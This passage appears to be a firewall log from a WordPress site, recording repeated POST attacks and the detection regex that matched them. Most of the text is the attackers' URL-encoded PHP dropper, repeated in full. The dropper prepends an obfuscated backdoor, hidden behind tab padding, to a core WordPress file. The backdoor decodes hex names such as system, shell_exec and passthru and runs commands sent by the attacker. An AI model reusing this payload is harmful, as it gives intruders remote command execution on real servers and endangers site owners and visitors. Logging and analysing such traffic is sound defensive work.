Chrome\";v=\"110\"\nsec-ch-ua-mobile:?0\nsec-fetch-site:none\nsec-ch-ua-platform:\"Windows\"\ncontent-length:9031\naccept-encoding:gzip,deflate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-mode:navigate\naccept:*\/*\nsec-fetch-user:?1\nupgrade-insecure-requests:1\nsec-fetch-dest:document\n\nNO=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-http-proxy.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524rec1%2520%253D%2520%25277%2527%253B%2524rec2%2520%253D%2520%25275%2527%253B%2524rec3%2520%253D%2520%2527d%2527%253B%2524rec4%2520%253D%2520%25273%2527%253B%2524rec5%2520%253D%2520%2527f%2527%253B%2524rec6%2520%253D%2520%25276%2527%253B%2524rec7%2520%253D%2520%25278%2527%253B%2524rec8%2520%253D%2520%25271%2527%253B%2524rec9%2520%253D%2520%25274%2527%253B%2524rec10%2520%253D%2520%25272%2527%253B%2524rec11%2520%253D%2520%25270%2527%253B%2524rec12%2520%253D%2520%2527e%2527%253B%2524right_pad_string1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524rec1%2520.%2520%25279%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%2524rec2%2520.%2520%25276%2527%2520.%2520%2524rec3%2529%253B%2524right_pad_string2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524rec1%2520.%2520%2524rec4%2520.%2520%25276%2527%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%25275%2527%2520.%2520%2524rec5%2520.%2520%2524rec6%2520.%2520%2524rec2%2520.%2520%2524rec1%2520.%2520%2524rec7%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524rec6%2520.%2520%25273%2527%2529%253B%2524right_pad_string3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524rec6%2520.%2520%2524rec2%2520.%2520%25277%2527%2520.%2520%2524rec7%2520.%2520%2524rec6%2520.%2520%25275%2527%2520.%2520%2524rec6%2520.%2520%2524rec4%2529%253B%2524right_pad_string4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524rec1%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%2524rec8%2520.%2520%2524rec1%2520.%2520%25273%2527%2520.%2520%2524rec1%2520.%2520%2524rec4%2520.%2520%25277%2527%2520.%2520%2524rec9%2520.%2520%25276%2527%2520.%2520%25278%2527%2520.%2520%25277%2527%2520.%2520%2524rec10%2520.%2520%25277%2527%2520.%2520%2524rec2%2529%253B%2524right_pad_string5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524rec1%2520.%2520%2524rec11%2520.%2520%2524rec6%2520.%2520%2527f%2527%2520.%2520%25277%2527%2520.%2520%25270%2527%2520.%2520%2524rec6%2520.%2520%2524rec2%2520.%2520%25276%2527%2520.%2520%2527e%2527%2529%253B%2524right_pad_string6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524rec4%2520.%2520%25277%2527%2520.%2520%2524rec9%2520.%2520%2524rec1%2520.%2520%25272%2527%2520.%2520%25276%2527%2520.%2520%2524rec2%2520.%2520%2524rec6%2520.%2520%2524rec8%2520.%2520%25276%2527%2520.%2520%2527d%2527%2520.%2520%25275%2527%2520.%2520%2527f%2527%2520.%2520%2524rec6%2520.%2520%2524rec1%2520.%2520%2524rec6%2520.%2520%2524rec2%2520.%2520%2524rec1%2520.%2520%25274%2527%2520.%2520%2524rec2%2520.%2520%2524rec5%2520.%2520%25276%2527%2520.%2520%2524rec4%2520.%2520%2524rec6%2520.%2520%2524rec5%2520.%2520%25276%2527%2520.%2520%2524rec12%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2527e%2527%2520.%2520%25277%2527%2520.%2520%2524rec9%2520.%2520%2524rec1%2520.%2520%25273%2527%2529%253B%2524right_pad_string7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524rec11%2520.%2520%25276%2527%2520.%2520%2524rec4%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2527f%2527%2520.%2520%25277%2527%2520.%2520%2524rec4%2520.%2520%2524rec6%2520.%2520%2524rec2%2529%253B%2524request_approved%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524rec1%2520.%2520%25272%2527%2520.%2520%25276%2527%2520.%2520%2524rec2%2520.%2520%25277%2527%2520.%2520%25271%2527%2520.%2520%2524rec1%2520.%2520%25275%2527%2520.%2520%2524rec6%2520.%2520%2524rec2%2520.%2520%2524rec1%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%2524rec9%2520.%2520%2524rec2%2520.%2520%2524rec5%2520.%2520%2524rec6%2520.%2520%2524rec8%2520.%2520%25277%2527%2520.%2520%25270%2527%2520.%2520%25277%2527%2520.%2520%2524rec11%2520.%2520%25277%2527%2520.%2520%2524rec10%2520.%2520%2524rec6%2520.%2520%2524rec5%2520.%2520%25277%2527%2520.%2520%2524rec6%2520.%2520%2524rec6%2520.%2520%2524rec2%2520.%2520%2524rec6%2520.%2520%2524rec9%2529%253Bif%2528isset%2528%2524_POST%255B%2524request_approved%255D%2529%2529%257B%2524request_approved%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524request_approved%255D%2529%253Bif%2528function_exists%2528%2524right_pad_string1%2529%2529%257B%2524right_pad_string1%2528%2524request_approved%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string2%2529%2529%257Bprint%2520%2524right_pad_string2%2528%2524request_approved%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string3%2529%2529%257B%2524right_pad_string3%2528%2524request_approved%252C%2524marker_reference%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524marker_reference%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string4%2529%2529%257B%2524right_pad_string4%2528%2524request_approved%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string5%2529%2526%2526function_exists%2528%2524right_pad_string6%2529%2526%2526function_exists%2528%2524right_pad_string7%2529%2529%257B%2524mrk_sym%253D%2524right_pad_string5%2528%2524request_approved%252C%2522r%2522%2529%253Bif%2528%2524mrk_sym%2529%257B%2524bind_dat%253D%2524right_pad_string6%2528%2524mrk_sym%2529%253B%2524right_pad_string7%2528%2524mrk_sym%2529%253Bprint%2520%2524bind_dat%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 17:52:34","188.138.39.67","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> cr:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-http-proxy.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524rec1%2520%253D%2520%25277%2527%253B%2524rec2%2520%253D%2520%25275%2527%253B%2524rec3%2520%253D%2520%2527d%2527%253B%2524rec4%2520%253D%2520%25273%2527%253B%2524rec5%2520%253D%2520%2527f%2527%253B%2524rec6%2520%253D%2520%25276%2527%253B%2524rec7%2520%253D%2520%25278%2527%253B%2524rec8%2520%253D%2520%25271%2527%253B%2524rec9%2520%253D%2520%25274%2527%253B%2524rec10%2520%253D%2520%25272%2527%253B%2524rec11%2520%253D%2520%25270%2527%253B%2524rec12%2520%253D%2520%2527e%2527%253B%2524right_pad_string1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524rec1%2520.%2520%25279%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%2524rec2%2520.%2520%25276%2527%2520.%2520%2524rec3%2529%253B%2524right_pad_string2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524rec1%2520.%2520%2524rec4%2520.%2520%25276%2527%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%25275%2527%2520.%2520%2524rec5%2520.%2520%2524rec6%2520.%2520%2524rec2%2520.%2520%2524rec1%2520.%2520%2524rec7%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524rec6%2520.%2520%25273%2527%2529%253B%2524right_pad_string3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524rec6%2520.%2520%2524rec2%2520.%2520%25277%2527%2520.%2520%2524rec7%2520.%2520%2524rec6%2520.%2520%25275%2527%2520.%2520%2524rec6%2520.%2520%2524rec4%2529%253B%2524right_pad_string4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524rec1%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%2524rec8%2520.%2520%2524rec1%2520.%2520%25273%2527%2520.%2520%2524rec1%2520.%2520%2524rec4%2520.%2520%25277%2527%2520.%2520%2524rec9%2520.%2520%25276%2527%2520.%2520%25278%2527%2520.%2520%25277%2527%2520.%2520%2524rec10%2520.%2520%25277%2527%2520.%2520%2524rec2%2529%253B%2524right_pad_string5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524rec1%2520.%2520%2524rec11%2520.%2520%2524rec6%2520.%2520%2527f%2527%2520.%2520%25277%2527%2520.%2520%25270%2527%2520.%2520%2524rec6%2520.%2520%2524rec2%2520.%2520%25276%2527%2520.%2520%2527e%2527%2529%253B%2524right_pad_string6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524rec4%2520.%2520%25277%2527%2520.%2520%2524rec9%2520.%2520%2524rec1%2520.%2520%25272%2527%2520.%2520%25276%2527%2520.%2520%2524rec2%2520.%2520%2524rec6%2520.%2520%2524rec8%2520.%2520%25276%2527%2520.%2520%2527d%2527%2520.%2520%25275%2527%2520.%2520%2527f%2527%2520.%2520%2524rec6%2520.%2520%2524rec1%2520.%2520%2524rec6%2520.%2520%2524rec2%2520.%2520%2524rec1%2520.%2520%25274%2527%2520.%2520%2524rec2%2520.%2520%2524rec5%2520.%2520%25276%2527%2520.%2520%2524rec4%2520.%2520%2524rec6%2520.%2520%2524rec5%2520.%2520%25276%2527%2520.%2520%2524rec12%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2527e%2527%2520.%2520%25277%2527%2520.%2520%2524rec9%2520.%2520%2524rec1%2520.%2520%25273%2527%2529%253B%2524right_pad_string7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524rec11%2520.%2520%25276%2527%2520.%2520%2524rec4%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2527f%2527%2520.%2520%25277%2527%2520.%2520%2524rec4%2520.%2520%2524rec6%2520.%2520%2524rec2%2529%253B%2524request_approved%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524rec1%2520.%2520%25272%2527%2520.%2520%25276%2527%2520.%2520%2524rec2%2520.%2520%25277%2527%2520.%2520%25271%2527%2520.%2520%2524rec1%2520.%2520%25275%2527%2520.%2520%2524rec6%2520.%2520%2524rec2%2520.%2520%2524rec1%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%2524rec9%2520.%2520%2524rec2%2520.%2520%2524rec5%2520.%2520%2524rec6%2520.%2520%2524rec8%2520.%2520%25277%2527%2520.%2520%25270%2527%2520.%2520%25277%2527%2520.%2520%2524rec11%2520.%2520%25277%2527%2520.%2520%2524rec10%2520.%2520%2524rec6%2520.%2520%2524rec5%2520.%2520%25277%2527%2520.%2520%2524rec6%2520.%2520%2524rec6%2520.%2520%2524rec2%2520.%2520%2524rec6%2520.%2520%2524rec9%2529%253Bif%2528isset%2528%2524_POST%255B%2524request_approved%255D%2529%2529%257B%2524request_approved%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524request_approved%255D%2529%253Bif%2528function_exists%2528%2524right_pad_string1%2529%2529%257B%2524right_pad_string1%2528%2524request_approved%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string2%2529%2529%257Bprint%2520%2524right_pad_string2%2528%2524request_approved%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string3%2529%2529%257B%2524right_pad_string3%2528%2524request_approved%252C%2524marker_reference%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524marker_reference%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string4%2529%2529%257B%2524right_pad_string4%2528%2524request_approved%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string5%2529%2526%2526function_exists%2528%2524right_pad_string6%2529%2526%2526function_exists%2528%2524right_pad_string7%2529%2529%257B%2524mrk_sym%253D%2524right_pad_string5%2528%2524request_approved%252C%2522r%2522%2529%253Bif%2528%2524mrk_sym%2529%257B%2524bind_dat%253D%2524right_pad_string6%2528%2524mrk_sym%2529%253B%2524right_pad_string7%2528%2524mrk_sym%2529%253Bprint%2520%2524bind_dat%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvL3VvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOip3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\nsec-ch-ua-mobile:?0\nsec-fetch-site:none\nsec-ch-ua-platform:\"Windows\"\ncontent-length:9031\naccept-encoding:gzip,deflate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-mode:navigate\naccept:*\/*\nsec-fetch-user:?1\nupgrade-insecure-requests:1\nsec-fetch-dest:document\n\ncr=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-http-proxy.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524rec1%2520%253D%2520%25277%2527%253B%2524rec2%2520%253D%2520%25275%2527%253B%2524rec3%2520%253D%2520%2527d%2527%253B%2524rec4%2520%253D%2520%25273%2527%253B%2524rec5%2520%253D%2520%2527f%2527%253B%2524rec6%2520%253D%2520%25276%2527%253B%2524rec7%2520%253D%2520%25278%2527%253B%2524rec8%2520%253D%2520%25271%2527%253B%2524rec9%2520%253D%2520%25274%2527%253B%2524rec10%2520%253D%2520%25272%2527%253B%2524rec11%2520%253D%2520%25270%2527%253B%2524rec12%2520%253D%2520%2527e%2527%253B%2524right_pad_string1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524rec1%2520.%2520%25279%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%2524rec2%2520.%2520%25276%2527%2520.%2520%2524rec3%2529%253B%2524right_pad_string2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524rec1%2520.%2520%2524rec4%2520.%2520%25276%2527%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%25275%2527%2520.%2520%2524rec5%2520.%2520%2524rec6%2520.%2520%2524rec2%2520.%2520%2524rec1%2520.%2520%2524rec7%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524rec6%2520.%2520%25273%2527%2529%253B%2524right_pad_string3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524rec6%2520.%2520%2524rec2%2520.%2520%25277%2527%2520.%2520%2524rec7%2520.%2520%2524rec6%2520.%2520%25275%2527%2520.%2520%2524rec6%2520.%2520%2524rec4%2529%253B%2524right_pad_string4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524rec1%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%2524rec8%2520.%2520%2524rec1%2520.%2520%25273%2527%2520.%2520%2524rec1%2520.%2520%2524rec4%2520.%2520%25277%2527%2520.%2520%2524rec9%2520.%2520%25276%2527%2520.%2520%25278%2527%2520.%2520%25277%2527%2520.%2520%2524rec10%2520.%2520%25277%2527%2520.%2520%2524rec2%2529%253B%2524right_pad_string5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524rec1%2520.%2520%2524rec11%2520.%2520%2524rec6%2520.%2520%2527f%2527%2520.%2520%25277%2527%2520.%2520%25270%2527%2520.%2520%2524rec6%2520.%2520%2524rec2%2520.%2520%25276%2527%2520.%2520%2527e%2527%2529%253B%2524right_pad_string6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524rec4%2520.%2520%25277%2527%2520.%2520%2524rec9%2520.%2520%2524rec1%2520.%2520%25272%2527%2520.%2520%25276%2527%2520.%2520%2524rec2%2520.%2520%2524rec6%2520.%2520%2524rec8%2520.%2520%25276%2527%2520.%2520%2527d%2527%2520.%2520%25275%2527%2520.%2520%2527f%2527%2520.%2520%2524rec6%2520.%2520%2524rec1%2520.%2520%2524rec6%2520.%2520%2524rec2%2520.%2520%2524rec1%2520.%2520%25274%2527%2520.%2520%2524rec2%2520.%2520%2524rec5%2520.%2520%25276%2527%2520.%2520%2524rec4%2520.%2520%2524rec6%2520.%2520%2524rec5%2520.%2520%25276%2527%2520.%2520%2524rec12%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2527e%2527%2520.%2520%25277%2527%2520.%2520%2524rec9%2520.%2520%2524rec1%2520.%2520%25273%2527%2529%253B%2524right_pad_string7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524rec11%2520.%2520%25276%2527%2520.%2520%2524rec4%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2527f%2527%2520.%2520%25277%2527%2520.%2520%2524rec4%2520.%2520%2524rec6%2520.%2520%2524rec2%2529%253B%2524request_approved%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524rec1%2520.%2520%25272%2527%2520.%2520%25276%2527%2520.%2520%2524rec2%2520.%2520%25277%2527%2520.%2520%25271%2527%2520.%2520%2524rec1%2520.%2520%25275%2527%2520.%2520%2524rec6%2520.%2520%2524rec2%2520.%2520%2524rec1%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%2524rec9%2520.%2520%2524rec2%2520.%2520%2524rec5%2520.%2520%2524rec6%2520.%2520%2524rec8%2520.%2520%25277%2527%2520.%2520%25270%2527%2520.%2520%25277%2527%2520.%2520%2524rec11%2520.%2520%25277%2527%2520.%2520%2524rec10%2520.%2520%2524rec6%2520.%2520%2524rec5%2520.%2520%25277%2527%2520.%2520%2524rec6%2520.%2520%2524rec6%2520.%2520%2524rec2%2520.%2520%2524rec6%2520.%2520%2524rec9%2529%253Bif%2528isset%2528%2524_POST%255B%2524request_approved%255D%2529%2529%257B%2524request_approved%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524request_approved%255D%2529%253Bif%2528function_exists%2528%2524right_pad_string1%2529%2529%257B%2524right_pad_string1%2528%2524request_approved%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string2%2529%2529%257Bprint%2520%2524right_pad_string2%2528%2524request_approved%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string3%2529%2529%257B%2524right_pad_string3%2528%2524request_approved%252C%2524marker_reference%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524marker_reference%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string4%2529%2529%257B%2524right_pad_string4%2528%2524request_approved%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string5%2529%2526%2526function_exists%2528%2524right_pad_string6%2529%2526%2526function_exists%2528%2524right_pad_string7%2529%2529%257B%2524mrk_sym%253D%2524right_pad_string5%2528%2524request_approved%252C%2522r%2522%2529%253Bif%2528%2524mrk_sym%2529%257B%2524bind_dat%253D%2524right_pad_string6%2528%2524mrk_sym%2529%253B%2524right_pad_string7%2528%2524mrk_sym%2529%253Bprint%2520%2524bind_dat%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 17:52:43","179.27.99.226","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> RH:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-http-proxy.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524rec1%2520%253D%2520%25277%2527%253B%2524rec2%2520%253D%2520%25275%2527%253B%2524rec3%2520%253D%2520%2527d%2527%253B%2524rec4%2520%253D%2520%25273%2527%253B%2524rec5%2520%253D%2520%2527f%2527%253B%2524rec6%2520%253D%2520%25276%2527%253B%2524rec7%2520%253D%2520%25278%2527%253B%2524rec8%2520%253D%2520%25271%2527%253B%2524rec9%2520%253D%2520%25274%2527%253B%2524rec10%2520%253D%2520%25272%2527%253B%2524rec11%2520%253D%2520%25270%2527%253B%2524rec12%2520%253D%2520%2527e%2527%253B%2524right_pad_string1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524rec1%2520.%2520%25279%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%2524rec2%2520.%2520%25276%2527%2520.%2520%2524rec3%2529%253B%2524right_pad_string2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524rec1%2520.%2520%2524rec4%2520.%2520%25276%2527%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%25275%2527%2520.%2520%2524rec5%2520.%2520%2524rec6%2520.%2520%2524rec2%2520.%2520%2524rec1%2520.%2520%2524rec7%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524rec6%2520.%2520%25273%2527%2529%253B%2524right_pad_string3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524rec6%2520.%2520%2524rec2%2520.%2520%25277%2527%2520.%2520%2524rec7%2520.%2520%2524rec6%2520.%2520%25275%2527%2520.%2520%2524rec6%2520.%2520%2524rec4%2529%253B%2524right_pad_string4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524rec1%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%2524rec8%2520.%2520%2524rec1%2520.%2520%25273%2527%2520.%2520%2524rec1%2520.%2520%2524rec4%2520.%2520%25277%2527%2520.%2520%2524rec9%2520.%2520%25276%2527%2520.%2520%25278%2527%2520.%2520%25277%2527%2520.%2520%2524rec10%2520.%2520%25277%2527%2520.%2520%2524rec2%2529%253B%2524right_pad_string5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524rec1%2520.%2520%2524rec11%2520.%2520%2524rec6%2520.%2520%2527f%2527%2520.%2520%25277%2527%2520.%2520%25270%2527%2520.%2520%2524rec6%2520.%2520%2524rec2%2520.%2